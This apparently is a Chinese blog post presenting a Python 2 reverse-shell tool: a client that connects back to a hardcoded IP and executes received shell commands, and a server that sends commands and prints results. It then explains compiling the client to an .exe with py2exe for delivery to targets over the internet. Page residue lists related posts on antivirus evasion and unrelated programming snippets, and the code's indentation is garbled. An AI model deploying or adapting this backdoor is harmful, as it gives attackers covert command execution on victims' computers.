构思:

client:反向连接server,执行shell命令

server:发送命令,控制客户端

import subprocess
import socket
import threading target="172.22.40.41"
port=55555
buffer="" def sendMag(c_socket):
global buffer while True:
#send cmd if len(buffer):
try:
print "c_buffer>>>>", buffer
c_socket.send(buffer)
except:
print "socket send error" print buffer
buffer="" def getMag(client_socket):
global buffer while True:
resc=""
len_resc=1
while len_resc:
datas=client_socket.recv(4096)
len_resc=len(datas)
resc+=datas
if len_resc<4096:
break if not len(resc):
res_cmd="ERROR COMMAND"
res_cmd=cmd(resc)
try: if not len(res_cmd):
res_cmd="NO MAG" buffer+=res_cmd except:
print "soc send reeor" def c_rec():
global target
global port
client_socket=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try: client_socket.connect((target,port))
except:
print "SOCKET CONNECT FAILED" get_thread=threading.Thread(target=getMag,args=(client_socket,))
get_thread.start()
send_thread=threading.Thread(target=sendMag,args=(client_socket,))
send_thread.start() def cmd(str):
str=str.rstrip()
try: res_cmd=subprocess.check_output(str,shell=True) except:
res_cmd="ERROR COMMEND!!" if not len(res_cmd):
res_cmd="ERROR BACK" return res_cmd def main():
c_rec() main()
import socket
import threading target="0.0.0.0"
port=55555 def s_loop():
global target
global port
server=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
server.bind((target,port)) server.listen(5)
while True:
c_socket,addr=server.accept()
print "A Client Connect" send_thread=threading.Thread(target=sendMag,args=(c_socket,))
send_thread.start() get_thread=threading.Thread(target=getMag,args=(c_socket,))
get_thread.start() def sendMag(c_socket):
while True:
#send cmd command=raw_input("#")
try: if len(command):
c_socket.send(command) except:
print "server send error" def getMag(c_socket):
while True:
#get mag from client
recvs="" len_rec=1
while len_rec:
datas=c_socket.recv(4096) len_rec=len(datas)
recvs+=datas
if len_rec<4096:
break print "get from Catc::",recvs def main():
s_loop() main()

可以用py2exe生成exe执行文件,发给测试者,如果有域名就更好了,可以在外网使用。

假设有一个Hello.py需要生成exe文件

习惯在同一目录下新建setup.py文件

内容:

from distutils.core import setup
import py2exe setup(console=['x:/xxx/hello.py'])

注意一定是全路径。

cmd进入setup.py的目录下:

python ./setup.py py2exe

成功会在同级目录生成dist、build,exe文件在dist里

Python写黑客小工具,360免杀的更多相关文章

  1. Python写安全小工具-TCP全连接端口扫描器

    通过端口扫描我们可以知道目标主机都开放了哪些服务,下面通过TCP connect来实现一个TCP全连接端口扫描器. 一个简单的端口扫描器 #!/usr/bin/python3 # -*- coding ...

  2. Atitit.木马 病毒 免杀 技术 360免杀 杀毒软件免杀 原理与原则 attilax 总结

    Atitit.木马 病毒 免杀 技术 360免杀 杀毒软件免杀 原理与原则 attilax 总结 1. ,免杀技术的用途2 1.1. 病毒木马的编写2 1.2. 软件保护所用的加密产品(比如壳)中,有 ...

  3. Python趣味实用小工具

    代码地址如下:http://www.demodashi.com/demo/12918.html python 趣味实用小工具 概述 用python实现的三个趣味实用小工具: 图片转Execl工具 , ...

  4. Python+Tkinter 密保小工具

    上图 代码 核心 编解码方面 Tkinter界面更新 总结 昨天被一同学告知,网上的一个QQ密码库中有我的一条记录,当时我就震惊了,赶紧换了密码.当然了,这件事也给了我一个警示,那就是定期的更换自己的 ...

  5. 应急分析异常通信的小思路和自己写的小工具(查询CNAME和A记录)

    一.背景: 在很多时候,应急会发现.卧槽,异常连接,只有一个域名或者IP. 怎么办?上防火墙看记录,查域名对应的记录累成狗,自己把之前的代码改了改,写了个小工具,一条命令查询DNS相关记录,也可以指定 ...

  6. python提效小工具-统计xmind用例数量

    问题:做测试的朋友们经常会用到xmind这个工具来梳理测试点或写测试用例,但是xmind8没有自带的统计测试用例,其他版本的xmind有些自带节点数量统计功能,但也也不会累计最终的数量,导致统计测试工 ...

  7. [No00006C]文件名复制,归档小助手【自己写的小工具,希望能帮助大家】

    特别补充一句:软件可以一次性复制多个文件的文件名. Windows 中的复制文件名实在是有些不方便 ,需要点右键 "重命名"之后再点右键选择"复制"才可复制文件 ...

  8. 分享一个很早之前写的小工具DtSpyPlus

    几年前写的一个获取windows窗体基本信息和屏幕取色的小工具 ,一直在用. 下载地址 http://files.cnblogs.com/dint/SpyPlus.zip

  9. 几个可以提高工作效率的Python内置小工具

    在这篇文章里,我们将会介绍4个Python解释器自身提供的小工具.这些小工具在笔者的日常工作中经常用到,减少了各种时间的浪费,然而,却很容易被大家忽略.每当有新来的同事看到我这么使用时,都忍不住感叹, ...

随机推荐

  1. Leetcode 190.颠倒二进制位 By Python

    颠倒给定的 32 位无符号整数的二进制位. 示例: 输入: 43261596 输出: 964176192 解释: 43261596 的二进制表示形式为 000000101001010000011110 ...

  2. Mysql 数据库 基础代码

    -- 创建数据库 CREATE DATABASE book; -- 创建作者表 CREATE TABLE authors( Id int not NULL, -- 作者编号 Fname VARCHAR ...

  3. 搭建gulp脚手架

    前段时间刚好在开发公司的首页,使用的是gulp工作流,gulp相对于webpack而言,配置简单,也更加直观(很符合直觉),日常开发一些静态页面.html5专题也足够,这里把遇到的坑与实践经验记录一下 ...

  4. Android: 创建一个AlertDialog对话框,必须按确定或取消按钮才能关闭对话框,禁止按[返回键]或[搜索键]关闭

    AlertDialog.Builder builder = new Builder(this); builder.create().show(); 这样显示出来的对话框,当用户按返回键或搜索键时,这个 ...

  5. 服务器内存占用不断的增加 & 任务管理器(PF使用率)不断的增加:关注句柄数

    最近一二个月以来,我发现服务器的内存占用正按着每天60M的速度增加. 一台windows 2003的服务器(2G内存),刚刚启起时占用内存:600M左右. 运行20天后,内存占用(PF使用):1.8G ...

  6. struct字节对齐原则

    原则1:windows下,k字节基本类型以k字节倍数偏移量对齐,自定义结构体则以结构体中最高p字节基本类型的p字节倍数偏移量对齐,Linux下则以2或4字节对齐; 原则2:整体对齐原则,例如数组结构体 ...

  7. 线程的状态有哪些,线程中的start与run方法的区别

    线程在一定条件下,状态会发生变化.线程一共有以下几种状态: 1.新建状态(New):新创建了一个线程对象. 2.就绪状态(Runnable):线程对象创建后,其他线程调用了该对象的start()方法. ...

  8. centos服务重启

    重启openstack的整个服务openstack-service restart 1. 重启dashboardservice httpd restart service memcached rest ...

  9. webstorm的一些小技巧

    1.怎样禁止自动保存文件: 设置--->外观和行为--->常规--->Synchronization--->要么四个全不选,要么把最后两个不选 Settings--->A ...

  10. 2.如何导入Spring约束?

    前言:之前在学习约束的时候,关于导入约束一直迷茫,今天详细的截图一下,以下图为例 第一步: 新建 第二步: 第三步: 第四步: 第五步:(这里写的有点小错误,是第三个) 第六步: 然后点击OK 最后的 ...